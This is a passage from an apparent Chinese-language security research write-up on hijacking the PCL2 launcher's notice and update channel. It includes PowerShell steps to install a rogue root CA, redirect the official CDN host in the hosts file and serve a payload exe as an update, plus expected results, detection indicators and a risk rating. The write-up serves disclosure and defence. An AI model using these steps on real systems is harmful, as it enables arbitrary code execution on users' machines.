  509. - `-Mode xaml`:方法三。第一次启动写设置并关闭;第二次启动等 `Cache\Custom.xaml` 下载,提示点页面上的 `Continue`。
  510. - `-Mode both`:默认,利用方法一加方法二。
  511. - `-Manual`:不自动启动/关闭 PCL。脚本只装 CA、改 hosts、起服务端,然后等你按 Enter;PCL 由研究者自己启动/关闭,适合用自己已配置好的 PCL,并在关闭前继续看日志或抓包。按 Enter 后才校验 marker 并清理。
  512. - `-Manual` 且省略 `-PclPath`:完全 server-only,不读取、不备份、不启动、不关闭任何 PCL;此时公告对 `PCL\Setup.ini` 的修改不会自动恢复,建议用可丢弃的 PCL 副本。
  513. 也可以手动分步跑:
  514. ```powershell
  515. # 1) 安装 CA
  516. Import-Certificate .\certs\ca.crt -CertStoreLocation Cert:\LocalMachine\Root
  517. # 2) 改 hosts
  518. Add-Content $env:SystemRoot\System32\drivers\etc\hosts "`r`n127.0.0.1 pcl2-server-1253424809.file.myqcloud.com"
  519. # 3) 起服务
  520. powershell.exe -File .\server.ps1 -Mode update -Port 443 -PayloadExe C:\Users\Public\pclpoc.exe -CertThumbprint <叶子证书指纹>
  521. # 或者用 Python 版:
  522. # python .\server.py --mode update --port 443 --payload-exe C:\Users\Public\pclpoc.exe
  523. # 4) 启动 PCL,等待更新 staging,关闭 PCL
  524. ```
  525. ### 7.5 预期结果
  526. `update` 模式:
  527. 1. 服务端日志(`server.out.log`)出现:
  528. ```
  529. [req ] /notice.cfg
  530. [req ] /ServerConfig.json
  531. [req ] /notice.json
  532. [req ] /update.zip
  533. ```
  534. 2. `<PCL目录>\PCL\Plain Craft Launcher 2.exe` 出现(内容为 payload);
  535. 3. 关闭 PCL 后,`calc.exe` 启动;
  536. 4. `%TEMP%\pcl-poc-marker.txt` 内容类似:
  537. ```
  538. 2026-10-21T23:45:12.3456789+08:00 pid=1234 args=--update 5678 "Plain Craft Launcher 2.exe" ...
  539. ```
  540. `launch` 模式:
  541. 1. PCL 日志出现:
  542. ```
  543. 执行 PCL 服务器公告动作...(setup, ...)
  544. ...
  545. 正在执行全局自定义命令:C:\Users\Public\pclpoc.exe
  546. ```
  547. 2. 点击"启动游戏"后 `calc.exe` 启动,marker 生成。
  548. `xaml` 模式:
  549. 1. 第二次启动后 `%TEMP%\PCL\Cache\Custom.xaml` 出现;
  550. 2. 点击页面 `Continue` 后 `calc.exe` 启动,marker 生成;
  551. 3. PCL 日志出现 `执行自定义事件:执行命令, C:\Users\Public\pclpoc.exe`。
  552. ## 8. 检测与响应
  553. ### 8.1 主机侧
  554. - `hosts` 中出现 `pcl2-server-1253424809.file.myqcloud.com` 指向非官方 IP;
  555. - 根证书存储中出现非官方 CA(尤其 CN 含 `PoC` 或随机字符串的);
  556. - PCL 目录出现 `PCL\Plain Craft Launcher 2.exe` staging;
  557. - `%TEMP%\PCL\Cache\Notice.json`、`notice.cfg`、`ServerConfig.json`、`Custom.xaml` 内容异常;
  558. - 注册表 `HKCU\Software\PCL\HintNotice` 突然变大;
  559. - `PCL\Setup.ini` 中 `LaunchAdvanceRun`、`UiCustomType`、`UiCustomNet`、`HintCustomCommand` 被改成陌生值;
  560. - PCL 日志关键词:`下载 PCL 服务器公告`、`执行 PCL 服务器公告动作`、`启动器静默更新`、`更新程序启动`、`执行全局自定义命令`、`执行自定义事件:执行命令`。
  561. ### 8.2 网络侧
  562. - 对 `pcl2-server-1253424809.file.myqcloud.com` 的 `notice.cfg` / `notice.json` / `ServerConfig.json` 请求;
  563. - 随后对任意 `DownloadUrls` 的 `.zip` 下载;
  564. - 证书异常(非腾讯云/非官方 CA);
  565. - DNS 解析异常。
  566. ### 8.3 修复建议
  567. 请更换更有信任的更新机制。
  568. ### 8.4 披露建议
  569. 无。
  570. ### 8.5 风险评级
  571. | 维度 | 评估 |
  572. |---|---|
  573. | 严重性 | High / 供应链级 RCE |
  574. | 攻击向量 | 网络(CDN 内容、DNS、TLS 中间人) |
  575. | 前提 | 控制公告 CDN 内容,或能让系统信任攻击者证书 |
  576. | 用户交互 | `update` 仅需正常关闭 PCL;`launch`/`xaml` 需一次点击 |
  577. | 影响 | 当前用户权限任意代码执行、持久化、数据窃取、批量控制 |
  578. | 检测难度 | 中高:无文件落地也可通过 `PCL\Plain Craft Launcher 2.exe` 暂存发现;日志有特征 |
  579. ## 9. 附录
  580. ### A. 关键代码位置
  581. | 功能 | 文件:行 |
  582. |---|---|
  583. | `ServerLoader` 定义 | `PCL/ModSecret.cs:382` |
  584. | `ServerSub` 公告主流程 | `PCL/ModSecret.cs:1262` |
  585. | `notice.cfg` 拉取 | `PCL/ModSecret.cs:1324` |
  586. | `ServerConfig.json` 拉取 | `PCL/ModSecret.cs:1382` |
  587. | `notice.json` 拉取/缓存 | `PCL/ModSecret.cs:1403-1406` |
  588. | `actions` 分发 | `PCL/ModSecret.cs:1479-1534` |
  589. | `setup` 任意设置 | `PCL/ModSecret.cs:1495-1502` |
  590. | `HasUpdatePermission => true` | `PCL/ModSecret.cs:402` |
  591. | `UpdateStart` | `PCL/ModSecret.cs:957` |
  592. | 更新 URL 选择 | `PCL/ModSecret.cs:1004-1026` |
  593. | zip 解压/安装 | `PCL/ModSecret.cs:190-211` |
  594. | `UpdateRestart` | `PCL/ModSecret.cs:1084-1097` |
  595. | `LaunchAdvanceRun` 执行 | `PCL/ModLaunch.cs:2865-2925` |
  596. | 自定义主页加载 | `PCL/PageLaunchRight.cs:385-419` |
  597. | XAML 黑名单 | `PCL/ModBase.cs:1418-1447` |
  598. | 自定义事件执行命令 | `PCL/CustomEvent.cs:129-150` |
  599. | 事件确认绕过 | `PCL/CustomEvent.cs:455-470` |
  600. | 设置默认值 | `PCL/Settings.cs:141-175, 246-249, 315-320` |
  601. | 遥测 | `PCL/ModMain.cs:1807-1837` |
  602. ### B. 官方来源
  603. - 仓库:<https://github.com/Hex-Dragon/PCL2>
  604. - commit 提交:`6b9a50df911c9d68b69b24c979efba477fb14b67`(`2.99.0.0 正式版`)
  605. - 相关安全公告:
  606. - <https://github.com/Meloong-Git/PCL/security/advisories/GHSA-wfpw-hfcp-9m73>(自定义主页 WebBrowser,CVE-2025-31488)
  607. - <https://github.com/Meloong-Git/PCL/security/advisories/GHSA-x9wr-mgmx-3hqp>(xmlns 过滤绕过)
  608. - <https://github.com/Meloong-Git/PCL/security/advisories/GHSA-gp33-rfmf-5f38>(ZipSlip)
  609. - <https://github.com/Meloong-Git/PCL/security/advisories/GHSA-22mj-jjhv-rxm4>(日志泄露 AccessToken)